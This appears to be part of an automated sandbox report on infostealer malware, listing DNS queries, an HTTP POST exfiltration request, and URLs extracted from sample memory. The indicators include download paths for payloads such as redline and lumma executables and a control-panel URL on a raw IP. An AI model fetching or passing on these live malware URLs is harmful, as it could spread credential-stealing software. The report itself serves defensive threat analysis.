Source: global traffic	DNS traffic detected: DNS query: relaxtionflouwerwi.shop
Source: global traffic	DNS traffic detected: DNS query: clwtumberaero.cyou
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: restores.name
Source: global traffic	DNS traffic detected: DNS query: securesmtp.rectifiersgates.com
Source: global traffic	DNS traffic detected: DNS query: mail.promatech.ma
Source: global traffic	DNS traffic detected: DNS query: beotel.rs
Source: global traffic	DNS traffic detected: DNS query: alt3.aspmx.l.google.com
Source: global traffic	DNS traffic detected: DNS query: smtp.telenet.be
Source: global traffic	DNS traffic detected: DNS query: securesmtp.f254425b43.com
Source: global traffic	DNS traffic detected: DNS query: viacom.com.br
Source: global traffic	DNS traffic detected: DNS query: meta.ua
Source: global traffic	DNS traffic detected: DNS query: smtp.ig.com.br
Source: global traffic	DNS traffic detected: DNS query: securesmtp.techdoc.it
Source: global traffic	DNS traffic detected: DNS query: mail.e-ducare.com.ar
Source: global traffic	DNS traffic detected: DNS query: secure.netsite.com.br
Source: global traffic	DNS traffic detected: DNS query: out.gdas.ac.cn
Source: global traffic	DNS traffic detected: DNS query: alt2.aspmx.l.google.com
Source: global traffic	DNS traffic detected: DNS query: out.dashcam-france.fr
Source: global traffic	DNS traffic detected: DNS query: out.nava.biz
Source: global traffic	DNS traffic detected: DNS query: malmar-be.mail.protection.outlook.com
Source: global traffic	DNS traffic detected: DNS query: zs-pchery.cz
Source: global traffic	DNS traffic detected: DNS query: securesmtp.sacredheartconventhighschool.co.in
Source: global traffic	DNS traffic detected: DNS query: out.madrasah.id
Source: global traffic	DNS traffic detected: DNS query: yaho.de
Source: global traffic	DNS traffic detected: DNS query: smtp.netzero.com
Source: global traffic	DNS traffic detected: DNS query: nate.com
Source: global traffic	DNS traffic detected: DNS query: socotim.fr
Source: global traffic	DNS traffic detected: DNS query: eyou.com
Source: global traffic	DNS traffic detected: DNS query: thefindmachine.de
Source: global traffic	DNS traffic detected: DNS query: secure.piepmeyer.de
Source: global traffic	DNS traffic detected: DNS query: marshallschools.com
Source: global traffic	DNS traffic detected: DNS query: abv.bg
Source: global traffic	DNS traffic detected: DNS query: secure.gamblr.co
Source: global traffic	DNS traffic detected: DNS query: noos.fr
Source: global traffic	DNS traffic detected: DNS query: alt4.aspmx.l.google.com
Source: global traffic	DNS traffic detected: DNS query: rogers.com
Source: global traffic	DNS traffic detected: DNS query: smtp.vodafone.de
Source: global traffic	DNS traffic detected: DNS query: out.aguascalientes.gob.mx
Source: global traffic	DNS traffic detected: DNS query: securesmtp.talkingthreads.in
Source: global traffic	DNS traffic detected: DNS query: mail.proexport.com.co
Source: global traffic	DNS traffic detected: DNS query: out.ultratempo.net
Source: global traffic	DNS traffic detected: DNS query: alt1.aspmx.l.google.com
Source: global traffic	DNS traffic detected: DNS query: smtp.rynet.cz
Source: global traffic	DNS traffic detected: DNS query: aliyun.com
Source: global traffic	DNS traffic detected: DNS query: securesmtp.gimel.hu
Source: global traffic	DNS traffic detected: DNS query: smtp.freemail.hu
Source: global traffic	DNS traffic detected: DNS query: student.uc.pt
Source: global traffic	DNS traffic detected: DNS query: taalim.ma
Source: global traffic	DNS traffic detected: DNS query: inter7.jp
Source: global traffic	DNS traffic detected: DNS query: mail.vstream.ie
Source: global traffic	DNS traffic detected: DNS query: out.raranride.xyz
Source: global traffic	DNS traffic detected: DNS query: creadslex.it
Source: global traffic	DNS traffic detected: DNS query: securesmtp.designedwithi.com
Source: global traffic	DNS traffic detected: DNS query: initiatesystems.com.s5a2.psmtp.com
Source: global traffic	DNS traffic detected: DNS query: smtp.aniledodi.com
Source: global traffic	DNS traffic detected: DNS query: out.kwood.fr
Source: global traffic	DNS traffic detected: DNS query: smtpin.rzone.de
Source: global traffic	DNS traffic detected: DNS query: kmdkdkdk.com
Source: global traffic	DNS traffic detected: DNS query: mail.naurothinsurance.bc.ca
Source: global traffic	DNS traffic detected: DNS query: aspmx.l.google.com
Source: global traffic	DNS traffic detected: DNS query: mail.ignitelab.co.za
Source: global traffic	DNS traffic detected: DNS query: secure.colton.k12.ca.us
Source: global traffic	DNS traffic detected: DNS query: mail.aruba.it
Source: global traffic	DNS traffic detected: DNS query: flix.be
Source: global traffic	DNS traffic detected: DNS query: secure.lactodorum.co.uk
Source: global traffic	DNS traffic detected: DNS query: out.logoshines.co.uk
Source: global traffic	DNS traffic detected: DNS query: out.count-face.biz
Source: global traffic	DNS traffic detected: DNS query: smtp.blpcollegemasaurhi.ac.in
Source: global traffic	DNS traffic detected: DNS query: lostgeek.co.uk
Source: global traffic	DNS traffic detected: DNS query: ya.com
Source: global traffic	DNS traffic detected: DNS query: aupe.com.ar
Source: global traffic	DNS traffic detected: DNS query: out.simoncollyer.co.uk
Source: global traffic	DNS traffic detected: DNS query: out.essentiallifeskills.com
Source: global traffic	DNS traffic detected: DNS query: mx1.pub.mailpod6-cph3.one.com
Source: global traffic	DNS traffic detected: DNS query: smtp.ucalgary.ca
Source: global traffic	DNS traffic detected: DNS query: mail.hot.ee
Source: global traffic	DNS traffic detected: DNS query: out.it2i.fr
Source: global traffic	DNS traffic detected: DNS query: smtp.virgilio.it
Source: global traffic	DNS traffic detected: DNS query: smtp.bbox.fr
Source: global traffic	DNS traffic detected: DNS query: temporary-mail.net
Source: global traffic	DNS traffic detected: DNS query: jcmeijers-com.mail.protection.outlook.com
Source: global traffic	DNS traffic detected: DNS query: secure.cipassce.191.it
Source: global traffic	DNS traffic detected: DNS query: pec.it
Source: global traffic	DNS traffic detected: DNS query: securesmtp.mundoopen.com.br
Source: global traffic	DNS traffic detected: DNS query: unicosconstrutora.com.br
Source: global traffic	DNS traffic detected: DNS query: psp21.radom.pl
Source: global traffic	DNS traffic detected: DNS query: secure.smybilisim.com
Source: global traffic	DNS traffic detected: DNS query: smtp.ctmusic.us
Source: global traffic	DNS traffic detected: DNS query: jcl1.com
Source: global traffic	DNS traffic detected: DNS query: out.peakperform.net
Source: global traffic	DNS traffic detected: DNS query: mx00.ionos.com

Source: unknown

HTTP traffic detected: POST /log HTTP/1.1Host: restores.nameAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.8.6Content-Length: 1397318Content-Type: multipart/form-data; boundary=56722a2337c54e8d9ab08a13ebfd70f7

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: BB72:103AE8:4E5DDA:56AE5D:665F8293Accept-Ranges: bytesDate: Tue, 04 Jun 2024 21:09:40 GMTVia: 1.1 varnishX-Served-By: cache-dfw-kdfw8210137-DFWX-Cache: MISSX-Cache-Hits: 0X-Timer: S1717535381.582334,VS0,VE38Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: 0d1b97ae47ba2816e07a2e49973a05fcabb32598Expires: Tue, 04 Jun 2024 21:14:40 GMTSource-Age: 0

Source: axplong.exe, 00000002.00000002.2768814464.00000000011C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.47/files/file300un.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.2768814464.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php
Source: axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpAppDataB
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpQ
Source: axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpZ
Source: axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpata
Source: axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpb
Source: axplong.exe, 00000002.00000002.2768814464.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpk
Source: axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpppData
Source: axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpservices64.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/gold.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/gold.exeG
Source: axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/judit.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/lrthijawd.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/lrthijawd.exex
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/lumma123.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/redline123123.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/redline123123.exed
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/services64.exe
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/services64.exe/
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/upd.exe
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specification
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503575928.00000194D0190000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503575928.00000194D0190000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2487546266.00000194D0801000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2505224030.00000194D0801000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://httpbin.org/post
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ip-api.com/json
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://json.org
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net02
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: stub.exe, 0000000F.00000002.2504920117.00000194D04E0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://python.org
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://python.org/
Source: stub.exe, 0000000F.00000002.2504920117.00000194D04E0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://python.org:80
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
